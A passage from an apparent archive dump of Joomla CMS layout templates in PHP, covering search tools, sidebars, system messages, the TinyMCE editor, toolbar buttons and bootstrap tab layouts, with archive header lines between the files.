<span class="visually-hidden"><?php echo
$field->label; ?></span>
<?php echo $field->input; ?>
</div>
<?php endif; ?>
<?php endforeach; ?>
<?php endif; ?>
joomla/searchtools/default/list.php000064400000001324151161525070013466
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
// Load the form list fields
$list =
$data['view']->filterForm->getGroup('list');
?>
<?php if ($list) : ?>
<div class="ordering-select">
<?php foreach ($list as $fieldName => $field) : ?>
<div class="js-stools-field-list">
<span class="visually-hidden"><?php echo
$field->label; ?></span>
<?php echo $field->input; ?>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
joomla/searchtools/default/noitems.php000064400000001020151161525070014162
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
$data = $displayData;
?>
<div class="alert alert-info">
<span class="icon-info-circle"
aria-hidden="true"></span><span
class="visually-hidden"><?php echo
Text::_('INFO'); ?></span>
<?php echo $data['options']['noResultsText'];
?>
</div>
joomla/searchtools/default/selector.php000064400000001076151161525070014337
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$data = $displayData;
?>
<div class="js-stools-field-selector">
<div class="visually-hidden">
<?php echo
$data['view']->filterForm->getField($data['options']['selectorFieldName'])->label;
?>
</div>
<?php echo
$data['view']->filterForm->getField($data['options']['selectorFieldName'])->input;
?>
</div>
joomla/searchtools/default.php000064400000010130151161525070012506
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
$data = $displayData;
// Receive overridable options
$data['options'] = !empty($data['options']) ?
$data['options'] : [];
$noResultsText = '';
$hideActiveFilters = false;
$showFilterButton = false;
$showSelector = false;
$selectorFieldName =
$data['options']['selectorFieldName'] ??
'client_id';
// If a filter form exists.
if (isset($data['view']->filterForm) &&
!empty($data['view']->filterForm)) {
// Checks if a selector (e.g. client_id) exists.
if ($selectorField =
$data['view']->filterForm->getField($selectorFieldName)) {
$showSelector =
$selectorField->getAttribute('filtermode', '') ===
'selector' ? true : $showSelector;
// Checks if a selector should be shown in the current layout.
if (isset($data['view']->layout)) {
$showSelector =
$selectorField->getAttribute('layout', 'default') !=
$data['view']->layout ? false : $showSelector;
}
// Unset the selector field from active filters group.
unset($data['view']->activeFilters[$selectorFieldName]);
}
// Checks if the filters button should exist.
$filters =
$data['view']->filterForm->getGroup('filter');
$showFilterButton = isset($filters['filter_search'])
&& count($filters) === 1 ? false : true;
// Checks if it should show the be hidden.
$hideActiveFilters = empty($data['view']->activeFilters);
// Check if the no results message should appear.
if (isset($data['view']->total) && (int)
$data['view']->total === 0) {
$noResults =
$data['view']->filterForm->getFieldAttribute('search',
'noresults', '', 'filter');
if (!empty($noResults)) {
$noResultsText = Text::_($noResults);
}
}
}
// Set some basic options.
$customOptions = [
'filtersHidden' =>
isset($data['options']['filtersHidden']) &&
$data['options']['filtersHidden'] ?
$data['options']['filtersHidden'] : $hideActiveFilters,
'filterButton' =>
isset($data['options']['filterButton']) &&
$data['options']['filterButton'] ?
$data['options']['filterButton'] : $showFilterButton,
'defaultLimit' =>
$data['options']['defaultLimit'] ??
Factory::getApplication()->get('list_limit', 20),
'searchFieldSelector' => '#filter_search',
'selectorFieldName' => $selectorFieldName,
'showSelector' => $showSelector,
'orderFieldSelector' => '#list_fullordering',
'showNoResults' => !empty($noResultsText),
'noResultsText' => !empty($noResultsText) ?
$noResultsText : '',
'formSelector' =>
!empty($data['options']['formSelector']) ?
$data['options']['formSelector'] :
'#adminForm',
];
// Merge custom options in the options array.
$data['options'] = array_merge($customOptions,
$data['options']);
// Add class to hide the active filters if needed.
$filtersActiveClass = $hideActiveFilters ? '' : '
js-stools-container-filters-visible';
// Load search tools
HTMLHelper::_('searchtools.form',
$data['options']['formSelector'],
$data['options']);
?>
<div class="js-stools" role="search">
<?php if ($data['options']['showSelector']) :
?>
<div class="js-stools-container-selector">
<?php echo $this->sublayout('selector', $data);
?>
</div>
<?php endif; ?>
<div class="js-stools-container-bar">
<div class="btn-toolbar">
<?php echo $this->sublayout('bar', $data);
?>
<?php echo $this->sublayout('list', $data);
?>
</div>
</div>
<!-- Filters div -->
<div class="js-stools-container-filters clearfix<?php echo
$filtersActiveClass; ?>">
<?php if ($data['options']['filterButton'])
: ?>
<?php echo $this->sublayout('filters', $data);
?>
<?php endif; ?>
</div>
</div>
<?php if ($data['options']['showNoResults']) : ?>
<?php echo $this->sublayout('noitems', $data); ?>
<?php endif; ?>
joomla/searchtools/grid/sort.php000064400000003374151161525070013012
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$data = $displayData;
$icon = 'icon-sort';
$sort = '';
$caption = '';
$selected = '';
$id = '';
if ($data->order === $data->selected) :
$icon = $data->orderIcon;
$sort = $data->direction === 'asc' ?
'descending' : 'ascending';
$heading = !empty($data->title) ? Text::_($data->title) :
Text::_('JGRID_HEADING_ORDERING');
$caption = Text::sprintf('JGRID_HEADING_CAPTION_' .
($data->direction === 'asc' ? 'desc' :
'asc'), $heading);
$selected = ' selected';
$id = 'id="sorted"';
endif;
Factory::getDocument()->getWebAssetManager()->useScript('list-view');
?>
<a href="#" class="js-stools-column-order<?php echo
$selected; ?> js-stools-button-sort"
<?php echo $id; ?>
data-order="<?php echo $data->order; ?>"
data-direction="<?php echo strtoupper($data->direction);
?>"
data-caption="<?php echo $caption; ?>"
<?php if (!empty($sort)) : ?>
data-sort="<?php echo $sort; ?>"
<?php endif; ?>>
<?php // The following statement has been concatenated purposely to
remove whitespace. ?>
<?php // Please leave as is. ?>
<?php if (!empty($data->title)) :
?><span><?php echo Text::_($data->title);
?></span><?php
endif; ?><span
class="ms-1 <?php echo $icon; ?>"
aria-hidden="true"></span>
<span class="visually-hidden">
<?php echo Text::_('JGLOBAL_SORT_BY'); ?>
<?php echo (!empty($data->title)) ? Text::_($data->title)
: Text::_('JGRID_HEADING_ORDERING'); ?>
</span>
</a>
joomla/sidebars/submenu.php000064400000006124151161525070012016
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2012 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
use Joomla\Filter\OutputFilter;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
\Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('core');
?>
<?php if ($displayData->displayMenu ||
$displayData->displayFilters) : ?>
<div id="j-toggle-sidebar-wrapper">
<div id="sidebar" class="sidebar">
<button class="btn btn-sm btn-secondary my-2 options-menu
d-md-none" type="button" data-bs-toggle="collapse"
data-bs-target=".sidebar-nav"
aria-controls="sidebar-nav" aria-expanded="false"
aria-label="<?php echo Text::_('JTOGGLE_SIDEBAR_MENU');
?>">
<span class="icon-align-justify"
aria-hidden="true"></span>
<?php echo Text::_('JTOGGLE_SIDEBAR_MENU'); ?>
</button>
<div class="sidebar-nav">
<?php if ($displayData->displayMenu) : ?>
<ul class="nav flex-column">
<?php foreach ($displayData->list as $item) :
if (isset($item[2]) && $item[2] == 1) : ?>
<li class="active">
<?php else : ?>
<li>
<?php endif;
if ($displayData->hide) : ?>
<a class="nolink"><?php echo
$item[0]; ?></a>
<?php else :
if ($item[1] !== '') : ?>
<a href="<?php echo
OutputFilter::ampReplace($item[1]); ?>"><?php echo $item[0];
?></a>
<?php else : ?>
<?php echo $item[0]; ?>
<?php endif;
endif; ?>
</li>
<?php endforeach; ?>
</ul>
<?php endif; ?>
<?php if ($displayData->displayMenu &&
$displayData->displayFilters) : ?>
<hr>
<?php endif; ?>
<?php if ($displayData->displayFilters) : ?>
<div class="filter-select d-none d-md-block">
<h4 class="page-header"><?php echo
Text::_('JSEARCH_FILTER_LABEL'); ?></h4>
<?php foreach ($displayData->filters as $filter) :
?>
<label for="<?php echo
$filter['name']; ?>"
class="visually-hidden"><?php echo
$filter['label']; ?></label>
<select name="<?php echo
$filter['name']; ?>" id="<?php echo
$filter['name']; ?>" class="form-select"
onchange="this.form.submit()">
<?php if (!$filter['noDefault']) :
?>
<option value=""><?php echo
$filter['label']; ?></option>
<?php endif; ?>
<?php echo $filter['options']; ?>
</select>
<hr>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</div>
<div id="j-toggle-sidebar"></div>
</div>
<?php endif; ?>
joomla/sidebars/toggle.php000064400000001115151161525070011614
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
// Set the tooltips
JText::script('JTOGGLE_HIDE_SIDEBAR');
JText::script('JTOGGLE_SHOW_SIDEBAR');
?>
<div
id="j-toggle-sidebar-button"
class="j-toggle-sidebar-button hidden-phone hasTooltip"
onclick="toggleSidebar(false); return false;"
>
<span id="j-toggle-sidebar-icon"
class="icon-arrow-left-2"
aria-hidden="true"></span>
</div>
joomla/system/message.php000064400000003767151161525070011526
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
/* @var $displayData array */
$msgList = $displayData['msgList'];
$document = Factory::getDocument();
$msgOutput = '';
$alert = [
CMSApplication::MSG_EMERGENCY => 'danger',
CMSApplication::MSG_ALERT => 'danger',
CMSApplication::MSG_CRITICAL => 'danger',
CMSApplication::MSG_ERROR => 'danger',
CMSApplication::MSG_WARNING => 'warning',
CMSApplication::MSG_NOTICE => 'info',
CMSApplication::MSG_INFO => 'info',
CMSApplication::MSG_DEBUG => 'info',
'message' => 'success'
];
// Load JavaScript message titles
Text::script('ERROR');
Text::script('MESSAGE');
Text::script('NOTICE');
Text::script('WARNING');
// Load other Javascript message strings
Text::script('JCLOSE');
Text::script('JOK');
Text::script('JOPEN');
// Alerts progressive enhancement
$document->getWebAssetManager()
->useStyle('webcomponent.joomla-alert')
->useScript('messages');
if (is_array($msgList) && !empty($msgList)) {
$messages = [];
foreach ($msgList as $type => $msgs) {
// JS loaded messages
$messages[] = [$alert[$type] ?? $type => $msgs];
// Noscript fallback
if (!empty($msgs)) {
$msgOutput .= '<div class="alert alert-' .
($alert[$type] ?? $type) . '">';
foreach ($msgs as $msg) :
$msgOutput .= $msg;
endforeach;
$msgOutput .= '</div>';
}
}
if ($msgOutput !== '') {
$msgOutput = '<noscript>' . $msgOutput .
'</noscript>';
}
$document->addScriptOptions('joomla.messages', $messages);
}
?>
<div id="system-message-container"
aria-live="polite"><?php echo $msgOutput; ?></div>
joomla/tinymce/buttons/button.php000064400000000724151161525070013225
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons.button is deprecated, use
joomla.editors.buttons.button instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons.button',
$displayData);
joomla/tinymce/buttons.php000064400000000677151161525070011721
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.tinymce.buttons is deprecated, use
joomla.editors.buttons instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.editors.buttons',
$displayData);
joomla/tinymce/textarea.php000064400000001630151161525070012026
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
$data = $displayData;
$wa = Factory::getDocument()->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('plg_editors_tinymce');
$wa->useScript('tinymce')->useScript('plg_editors_tinymce');
?>
<textarea
name="<?php echo $data->name; ?>"
id="<?php echo $data->id; ?>"
cols="<?php echo $data->cols; ?>"
rows="<?php echo $data->rows; ?>"
style="width: <?php echo $data->width; ?>; height:
<?php echo $data->height; ?>;"
class="<?php echo empty($data->class) ?
'mce_editable' : $data->class; ?>"
<?php echo $data->readonly ? ' readonly disabled' :
''; ?>
>
<?php echo $data->content; ?>
</textarea>
joomla/tinymce/togglebutton.php000064400000001171151161525070012726
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
?>
<div class="toggle-editor btn-toolbar float-end clearfix
mt-3">
<div class="btn-group">
<button type="button" disabled class="btn
btn-secondary js-tiny-toggler-button">
<span class="icon-eye"
aria-hidden="true"></span>
<?php echo
Text::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>
</button>
</div>
</div>
joomla/toolbar/base.php000064400000000627151161525100011114
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $action
* @var array $options
*/
echo $action;
joomla/toolbar/batch.php000064400000002151151161525100011255
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text;
// @todo: Deprecate this file since we can use popup button to raise batch
modal.
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
\Joomla\CMS\Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('core');
$id = $displayData['id'] ?? '';
$title = $displayData['title'];
Text::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
Text::script('ERROR');
$message = "{'error':
[Joomla.Text._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')]}";
$alert = "Joomla.renderMessages(" . $message . ")";
?>
<button<?php echo $id; ?> type="button" onclick="if
(document.adminForm.boxchecked.value==0){<?php echo $alert;
?>}else{document.getElementById('collapseModal').open();
return true;}" class="btn btn-primary">
<span class="icon-square"
aria-hidden="true"></span>
<?php echo $title; ?>
</button>
joomla/toolbar/confirm.php000064400000001036151161525100011632
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small">
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
joomla/toolbar/containerclose.php000064400000000415151161525100013205
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>
</nav>
joomla/toolbar/containeropen.php000064400000001245151161525100013043
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->registerAndUseScript('joomla.toolbar',
'legacy/toolbar.min.js', [], ['defer' => true],
['core']);
?>
<nav aria-label="<?php echo Text::_('JTOOLBAR');
?>">
<div class="btn-toolbar d-flex" role="toolbar"
id="<?php echo $displayData['id']; ?>">
joomla/toolbar/help.php000064400000001005151161525100011121
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$text = $displayData['text'];
?>
<button onclick="<?php echo $doTask; ?>"
rel="help" class="btn btn-small">
<span class="icon-question-sign"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
joomla/toolbar/iconclass.php000064400000000602151161525100012151
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
$displayData['html'] = false;
echo LayoutHelper::render('joomla.icon.iconclass', $displayData);
joomla/toolbar/link.php000064400000002054151161525100011133
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var int $id
* @var string $name
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
*/
$margin = (strpos($url ?? '',
'index.php?option=com_config') === false) ? '' :
'ms-auto';
$target = empty($target) ? '' : 'target="' .
$target . '"';
?>
<joomla-toolbar-button class="<?php echo $margin;
?>">
<a
id="<?php echo $id; ?>"
class="<?php echo $btnClass; ?>"
href="<?php echo $url; ?>"
<?php echo $target; ?>
<?php echo $htmlAttributes; ?>>
<span class="<?php echo $class; ?> icon-fw"
aria-hidden="true"></span>
<?php echo $text ?: ''; ?>
</a>
</joomla-toolbar-button>
joomla/toolbar/modal.php000064400000002347151161525100011277
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
/**
* Generic toolbar button layout to open a modal
* -----------------------------------------------
* @param array $displayData Button parameters. Default supported
parameters:
* - selector string Unique DOM
identifier for the modal. CSS id without #
* - class string Button class
* - icon string Button icon
* - text string Button text
*/
$selector = $displayData['selector'];
$class = isset($displayData['class']) ?
$displayData['class'] : 'btn btn-small';
$icon = isset($displayData['icon']) ?
$displayData['icon'] : 'out-3';
$text = isset($displayData['text']) ?
$displayData['text'] : '';
?>
<button class="<?php echo $class; ?>"
data-toggle="modal" data-target="#<?php echo $selector;
?>">
<span class="icon-<?php echo $icon; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
joomla/toolbar/popup.php000064400000004204151161525100011340
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var int $id
* @var string $name
* @var string $doTask
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var bool $listCheck
* @var string $htmlAttributes
* @var string $modalWidth
* @var string $modalHeight
* @var string $popupType
* @var string $url
* @var string $textHeader
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
Factory::getApplication()->getDocument()->getWebAssetManager()
->useScript('core')
->useScript('joomla.dialog-autocreate')
->useScript('webcomponent.toolbar-button');
$tagName = $tagName ?? 'button';
$modalAttrs = [];
// Check for use of Joomla Dialog, otherwise fallback to BS Modal
if (!empty($popupType)) {
$popupOptions = [
'popupType' => $popupType,
'src' => $url,
'textHeader' => $textHeader ?? '',
'width' => $modalWidth ?? null,
'height' => $modalHeight ?? null,
];
$modalAttrs['data-joomla-dialog'] =
$this->escape(json_encode($popupOptions));
} else {
// @TODO: Remove this fallback in Joomla 6. Deprecation already
triggered in PopupButton class.
$modalAttrs['data-bs-toggle'] = 'modal';
$modalAttrs['data-bs-target'] = '#' . $selector;
}
$idAttr = !empty($id) ? ' id="' . $id .
'"' : '';
$listAttr = !empty($listCheck) ? ' list-selection' :
'';
?>
<joomla-toolbar-button <?php echo $idAttr . $listAttr; ?>>
<<?php echo $tagName; ?>
value="<?php echo $doTask; ?>"
class="<?php echo $btnClass; ?>"
<?php echo $htmlAttributes; ?>
<?php echo ArrayHelper::toString($modalAttrs); ?>
>
<span class="<?php echo $class; ?>"
aria-hidden="true"></span>
<?php echo $text; ?>
</<?php echo $tagName; ?>>
</joomla-toolbar-button>
joomla/toolbar/separator.php000064400000001542151161525100012177
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var bool $is_child
* @var string $id
* @var string $doTask
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
*/
?>
<?php if ($is_child) : ?>
<?php if (!empty($text)) : ?>
<h6 class="dropdown-header <?php echo $btnClass ??
''; ?>">
<?php echo $text; ?>
</h6>
<?php else : ?>
<div class="dropdown-divider <?php echo $btnClass ??
''; ?>"></div>
<?php endif; ?>
<?php endif; ?>
joomla/toolbar/slider.php000064400000001263151161525100011461
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('behavior.core');
$doTask = $displayData['doTask'];
$class = $displayData['class'];
$text = $displayData['text'];
$name = $displayData['name'];
$onClose = $displayData['onClose'];
?>
<button onclick="<?php echo $doTask; ?>" class="btn
btn-small" data-toggle="collapse"
data-target="#collapse-<?php echo $name; ?>"<?php echo
$onClose; ?>>
<span class="icon-cog"
aria-hidden="true"></span>
<?php echo $text; ?>
</button>
joomla/toolbar/standard.php000064400000004473151161525100012005
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $id
* @var string $onclick
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
* @var string $task The task which should be executed
* @var bool $listCheck Boolean, whether selection from a list
is needed
* @var string $form CSS selector for a target form
* @var bool $formValidation Whether the form need to be validated
before run the task
* @var string $message Confirmation message before run the
task
*/
Factory::getApplication()->getDocument()->getWebAssetManager()
->useScript('core')
->useScript('webcomponent.toolbar-button');
$tagName = $tagName ?? 'button';
$taskAttr = '';
$idAttr = !empty($id) ? ' id="' . $id .
'"' : '';
$listAttr = !empty($listCheck) ? ' list-selection' :
'';
$formAttr = !empty($form) ? ' form="' .
$this->escape($form) . '"' : '';
$validate = !empty($formValidation) ? ' form-validation' :
'';
$msgAttr = !empty($message) ? ' confirm-message="' .
$this->escape($message) . '"' : '';
if ($msgAttr) {
Text::script('WARNING');
Text::script('JYES');
Text::script('JNO');
}
if (!empty($task)) {
$taskAttr = ' task="' . $task . '"';
} elseif (!empty($onclick)) {
$htmlAttributes .= ' onclick="' . $onclick .
'"';
}
?>
<joomla-toolbar-button <?php echo $idAttr . $taskAttr . $listAttr .
$formAttr . $validate . $msgAttr; ?>>
<?php if (!empty($group)) : ?>
<a href="#" class="dropdown-item">
<span class="<?php echo trim($class ?? '');
?>"></span>
<?php echo $text ?? ''; ?>
</a>
<?php else : ?>
<<?php echo $tagName; ?>
class="<?php echo $btnClass ?? ''; ?>"
<?php echo $htmlAttributes ?? ''; ?>
>
<span class="<?php echo trim($class ?? '');
?>" aria-hidden="true"></span>
<?php echo $text ?? ''; ?>
</<?php echo $tagName; ?>>
<?php endif; ?>
</joomla-toolbar-button>
joomla/toolbar/title.php000064400000001107151161525100011315
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
// Strip extension if given
$icon = empty($displayData['icon']) ? 'dot-circle' :
preg_replace('#\.[^ .]*$#', '',
$displayData['icon']);
?>
<h1 class="page-title">
<?php echo LayoutHelper::render('joomla.icon.iconclass',
['icon' => $icon]); ?>
<?php echo $displayData['title']; ?>
</h1>
joomla/toolbar/versions.php000064400000002765151161525100012057
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Session\Session;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $id
* @var string $itemId
* @var string $typeId
* @var string $typeAlias
* @var string $title
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('core')
->useScript('joomla.dialog-autocreate')
->useScript('webcomponent.toolbar-button');
$url = 'index.php?' . http_build_query([
'option' => 'com_contenthistory',
'view' => 'history',
'layout' => 'modal',
'tmpl' => 'component',
'item_id' => $itemId,
Session::getFormToken() => 1,
]);
$dialogOptions = [
'popupType' => 'iframe',
'src' => $url,
'textHeader' => $title ?? '',
];
?>
<joomla-toolbar-button id="toolbar-versions">
<button
class="btn btn-primary"
data-joomla-dialog="<?php echo
$this->escape(json_encode($dialogOptions, JSON_UNESCAPED_SLASHES));
?>"
type="button">
<span class="icon-code-branch"
aria-hidden="true"></span>
<?php echo $title; ?>
</button>
</joomla-toolbar-button>
libraries/cms/html/bootstrap/addtab.php000064400000000707151161525100014214
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
?>
<div id="<?php echo $id; ?>"
class="tab-pane<?php echo $active; ?>">
libraries/cms/html/bootstrap/addtabscript.php000064400000001350151161525100015434
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$selector = empty($displayData['selector']) ? '' :
$displayData['selector'];
$id = empty($displayData['id']) ? '' :
$displayData['id'];
$active = empty($displayData['active']) ? '' :
$displayData['active'];
$title = empty($displayData['title']) ? '' :
$displayData['title'];
$li = '<li class="' . $active . '"><a
href="#' . $id . '"
data-toggle="tab">' . $title .
'</a></li>';
echo 'jQuery(function($){ $(', json_encode('#' .
$selector . 'Tabs'), ').append($(', json_encode($li),
')); });';
libraries/cms/html/bootstrap/endtab.php000064400000000405151161525100014225
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>libraries/cms/html/bootstrap/endtabset.php000064400000000405151161525100014741
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
</div>libraries/cms/html/bootstrap/starttabset.php000064400000000714151161525100015333
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
